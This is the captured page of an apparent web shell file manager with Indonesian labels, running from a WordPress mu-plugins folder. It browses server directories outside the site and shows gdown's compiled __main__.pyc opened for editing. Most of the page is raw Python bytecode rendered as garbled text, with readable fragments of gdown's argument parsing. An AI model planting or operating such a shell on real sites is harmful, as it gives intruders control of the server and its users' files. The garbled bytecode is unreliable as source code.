📂 Advanced File Manager
Multi-Root Navigation System
⚡ Quick Jump
Server (/)
Home (/home)
Var_www (/var/www)
Current (/home4/shelley/public_html/shelleycutler.com/wp-content/mu-plugins)
📍 Go
⬆ Ke Atas
🏠 Root Server
🏠 Root App
🔄 Refresh
📀 /
›
usr
›
local
›
lib
›
python3.9
›
site-packages
›
gdown
›
📁 __pycache__
📍
Lokasi:
/usr/local/lib/python3.9/site-packages/gdown/__pycache__
💾
Free:
45.7 GB
⚠️ Direktori ini
tidak writable
.
✏️ Mengedit: __main__.cpython-39.pyc
a �#j� � @ s� d dl Z d dlZd dlZd dlZd dlZd dlZd dlZddlm Z ddl mZ ddlmZ ddl mZ ddl m Z ddlmZ dd lmZ G d d� de j�Zdd � Zdd� Zedkr�e� dS )� N� )�__version__)�indent)�download)�MAX_NUMBER_FILES)�download_folder)�FileURLRetrievalError)�FolderContentsMaximumLimitErrorc @ s e Zd Zddd�ZdS )�_ShowVersionActionNc C s. t djttj�tj�t��d�� |�� d S )Nzgdown {ver} at {pos})�ver�pos)�print�formatr �os�path�dirname�__file__�exit)�self�parser� namespace�values� option_string� r �8/usr/local/lib/python3.9/site-packages/gdown/__main__.py�__call__ s ��z_ShowVersionAction.__call__)N)�__name__� __module__�__qualname__r r r r r r s r c C sv | d urrt �d| �}|st�|�� \}}t|�}|dkrB|d9 }n,|dkrT|d9 }n|dkrf|d9 }n|dkrn|S d S ) Nz([0-9]+)(GB|MB|KB|B)ZKBi ZMBi ZGBi @�B)�re�match� TypeError�groups�float)�argv�m�size�unitr r r � file_size s r) c C sV t jt jd�} | jddtddd� | jddd � | jd ddtjj� d �d � | jddddd� | jdddd� | jdddd� | jddd � | jdtdd� | jdddd� | jdddd� | jd d!d"dd#d$� | jd%dd&j t d'�d� | jd(dd)j t d'�d� | jd*d+d � | jd,d-d � | �� }|jd.k�r:t jj|_|j�r\tjd/td0� d }|j}n&t�d1|j��rx|j}d }n d }|j}z||j�r�t|||j|j|j|j|j |j |j|j|j d2� n8t!||j|j|j|j|j |j ||j"|j |j |jd3� W �nR t#�y> } z&t$|t j%d4� t �&d5� W Y d }~�nd }~0 t'�y� } zBt$d6� t(d7�)t*�+t,|���d8d9��t j%d4� t �&d5� W Y d }~n�d }~0 t-j.j/�y� } zBt$d:� t(d7�)t*�+t,|���d8d9��t j%d4� t �&d5� W Y d }~ndd }~0 t0�yP } zBt$d;� t(d7�)t*�+t,|���d8d9��t j%d4� t �&d5� W Y d }~n d }~0 0 d S )<N)�formatter_classz-Vz --versionzdisplay versionr )�action�help�nargs� url_or_idz2url or file/folder id (with --id) to download from)r, z-Oz--outputz!output file name/path; end with "z" to create a new directoryz-qz--quiet� store_truezsuppress logging except errors)r+ r, z--fuzzyz*(file only) extract Google Drive's file IDz--idz:[DEPRECATED] flag to specify file/folder id instead of urlz--proxyz9<protocol://host:port> download using the specified proxyz--speedz7download speed limit in second (e.g., '10MB' -> 10MB/s))�typer, z--no-cookiesz/don't use cookies in ~/.cache/gdown/cookies.txtz--no-check-certificatez(don't check the server's TLS certificatez --continuez-c� continue_zNresume getting partially-downloaded files while skipping fully downloaded ones)�destr+ r, z--folderzLdownload entire folder instead of a single file (max {max} files per folder))�maxz--remaining-okzH(folder only) asserts that is ok to download max {max} files per folder.z--formatztFormat of Google Docs, Spreadsheets and Slides. Default is Google Docs: 'docx', Spreadsheet: 'xlsx', Slides: 'pptx'.z--user-agentz'User-Agent to use for downloading file.�-z}Option `--id` was deprecated in version 4.3.1 and will be removed in 5.0. You don't need to pass it anymore to use a file ID.)�categoryz^https?://.*)�url�id�output�quiet�proxy�speed�use_cookies�verify�remaining_ok� user_agent�resume)r6 r8 r9 r: r; r<